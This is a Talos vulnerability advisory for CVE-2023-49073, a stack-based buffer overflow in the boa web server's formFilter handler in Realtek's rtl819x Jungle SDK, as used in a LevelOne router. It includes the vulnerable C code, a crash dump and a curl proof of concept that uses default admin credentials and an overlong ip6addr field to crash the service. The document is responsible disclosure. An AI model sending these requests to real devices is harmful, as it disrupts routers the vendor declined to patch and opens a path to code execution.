Talos Vulnerability Report

TALOS-2023-1875

Realtek rtl819x Jungle SDK boa formFilter stack-based buffer overflow vulnerability

July 8, 2024

CVE Number

CVE-2023-49073

SUMMARY

A stack-based buffer overflow vulnerability exists in the boa formFilter functionality of Realtek rtl819x Jungle SDK v3.4.11. A specially crafted series of HTTP requests can lead to arbitrary code execution. An attacker can send a sequence of requests to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

LevelOne WBR-6013 RER4_A_v3411b_2T2R_LEV_09_170623
Realtek rtl819x Jungle SDK v3.4.11

PRODUCT URLS

rtl819x Jungle SDK - <https://www.realtek.com/en/&gt; WBR-6013 - <https://www.level1.com/level1_en/wbr-6013-n300-wireless-router-54069103&gt;

CVSSv3 SCORE

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

DETAILS

The rtl819x Jungle SDK is an SDK for routers. This SDK uses as web server boa.

This Realtek rtl819x Jungle SDK vulnerability was found while researching the Levelone WBR-6013 router. We are going to explain this vulnerability from the perspective of the WBR-6013 router.

The WBR-6013 router has a web server called boa. The version used in the device is a Realtek’SDK that uses boa. One of the SDK’s API is /boafrm/formFilter. This API allows creation of filters for restraining connections to internet. The function responsible for this API is boa’s formFilter:

void formFilter(request *wp, char *path, char *query)
{
    [...]
    IPFILTER_T ipEntry, ipentrytmp;
    [...]

[1] strAddIp = req_get_cstream_var(wp, ("addFilterIp"), "");
    [...]


    if (strAddIp[0]) {
        strVal = req_get_cstream_var(wp, ("ip"), "");
[2]     strIP6 = req_get_cstream_var(wp, ("ip6addr"), "");
        ip6Enable = req_get_cstream_var(wp, ("ip6_enabled"), "");
        ip4Enable = req_get_cstream_var(wp, ("ip_enabled"), "");

        [...]

        if(strIP6[0]){
            ipEntry.ipVer=IPv6;
[3]         strcpy(ipEntry.ip6Addr,strIP6);
        }
        [...]
    }
    [...]
}

At [1] the addFilterIp request’s parameter is fetched and, if not empty, the code at [2] will be executed. At [2] the ip6addr request’s parameter is fetched and used at [3] if its value is not empty. At [3] the value of the ip6addr request’s parameter is copied in the ip6Addr struct member of the ipEntry stack variable.

Because no checks are performed on the size of the ip6addr request’s parameter string, a buffer overflow can occur at [3] in the stack variable ipEntry. An attacker could exploit this vulnerability to achieve arbitrary code execution.

Crash Information

Program received signal SIGSEGV, Segmentation fault.
0x00415c48 in ?? ()

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────── registers ──────────────────────────────
$zero: 0x00000000  →  0x00000000
$at  : 0xfffffff8  →  0xfffffff8
$v0  : 0x408003da  →  0x41414141  →  0x41414141 ("AAAA"?)
$v1  : 0x41414141  →  0x41414141 ("AAAA"?)
$a0  : 0x00000000  →  0x00000000
$a1  : 0x004c0404  →  0x00414141  →  0x02ffff02  →  0x02ffff02
$a2  : 0x3ff82f00  →  0x00000000  →  0x00000000
$a3  : 0x004c0240  →  0x41414141  →  0x41414141 ("AAAA"?)
$t0  : 0x004c05f8  →  0x41410065  →  0x41410065
$t1  : 0x41414141  →  0x41414141 ("AAAA"?)
$t2  : 0x00000b59  →  0x00000b59
$t3  : 0x41414141  →  0x41414141 ("AAAA"?)
$t4  : 0x41414141  →  0x41414141 ("AAAA"?)
$t5  : 0x41414141  →  0x41414141 ("AAAA"?)
$t6  : 0x41414141  →  0x41414141 ("AAAA"?)
$t7  : 0x004b0000  →  0x004b0000
$s0  : 0x004c28d0  →  0x00000005  →  0x00000005
$s1  : 0x004a0000  →  0x0049e9d0  →  0x456c2041  →  0x456c2041 ("El A"?)
$s2  : 0x408003c0  →  0x00000000  →  0x00000000
$s3  : 0x00020078  →  0x00020078
$s4  : 0x004a0adc  →  0x00000000  →  0x00000000
$s5  : 0x004a0000  →  0x0049e9d0  →  0x456c2041  →  0x456c2041 ("El A"?)
$s6  : 0x004a0adc  →  0x00000000  →  0x00000000
$s7  : 0x004c0220  →  0x31003070  →  0x31003070
$t8  : 0x004b5650  →  0x3ff44ff0  →  0x00801021  →  0x00801021
$t9  : 0x3ff44ff0  →  0x00801021  →  0x00801021
$k0  : 0x00000000  →  0x00000000
$k1  : 0x00000000  →  0x00000000
$s8  : 0x004a0adc  →  0x00000000  →  0x00000000
$pc  : 0x00415c48  →  0x80620000  →  0x80620000
$sp  : 0x40800290  →  0x00000000  →  0x00000000
$hi  : 0x0000006b  →  0x0000006b
$lo  : 0x000394d1  →  0x000394d1
$fir : 0x00739300  →  0x00739300
$ra  : 0x00415c38  →  0x8fa30224  →  0x8fa30224
$gp  : 0x3ff875c0  →  0x6c5f636f  →  0x6c5f636f ("l_co"?)
────────────────────────────── stack ──────────────────────────────
0x40800290│+0x0000: 0x00000000  →  0x00000000	 ← $sp
0x40800294│+0x0004: 0x00000000  →  0x00000000
0x40800298│+0x0008: 0x00000000  →  0x00000000
0x4080029c│+0x000c: 0x00000000  →  0x00000000
0x408002a0│+0x0010: 0x40007010  →  0x00000000  →  0x00000000
0x408002a4│+0x0014: 0x00000000  →  0x00000000
0x408002a8│+0x0018: 0x3ff29698  →  0x00000000  →  0x00000000
0x408002ac│+0x001c: 0x3ff2c728  →  0x005f474c  →  0x005f474c
────────────────────────────── code:mips:MIPS32 ──────────────────────────────
     0x415c3c                  j      0x415c48
     0x415c40                  nop    
     0x415c44                  sb     v0, 378(sp)
 →   0x415c48                  lb     v0, 0(v1)
     0x415c4c                  nop    
     0x415c50                  beqz   v0, 0x415cb4
     0x415c54                  move   a0, v1
     0x415c58                  addiu  a1, sp, 304
     0x415c5c                  jal    0x402780
────────────────────────────── threads ──────────────────────────────
[#0] Id 1, stopped 0x415c48 in ?? (), reason: SIGSEGV

Exploit Proof of Concept

To use a specific API of the web server, because of a CSRF protection mechanism, it is necessary to load the HTML page that would call that API:

curl --user admin:admin http://<DEVICE_IP>/ip6filter.htm &>/dev/null

After this request it is possible to use the /boafrm/formFilter API:

curl -d "addFilterIp=1&ip6addr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -X POST -H "Content-Type: application/x-www-form-urlencoded" --user admin:admin http://<DEVICE_IP>/boafrm/formFilter

After the request the boa process will crash. The POC uses the default admin credentials.

VENDOR RESPONSE

Realtek has provided updates software to their customers. LevelOne has declined to patch the issues in their software.

TIMELINE

2023-12-14 - Initial Vendor Contact
2023-12-22 - Vendor Disclosure
2024-05-20 - Vendor Patch Release
2024-07-08 - Public Release

Credit

Discovered by Francesco Benvenuto of Cisco Talos.

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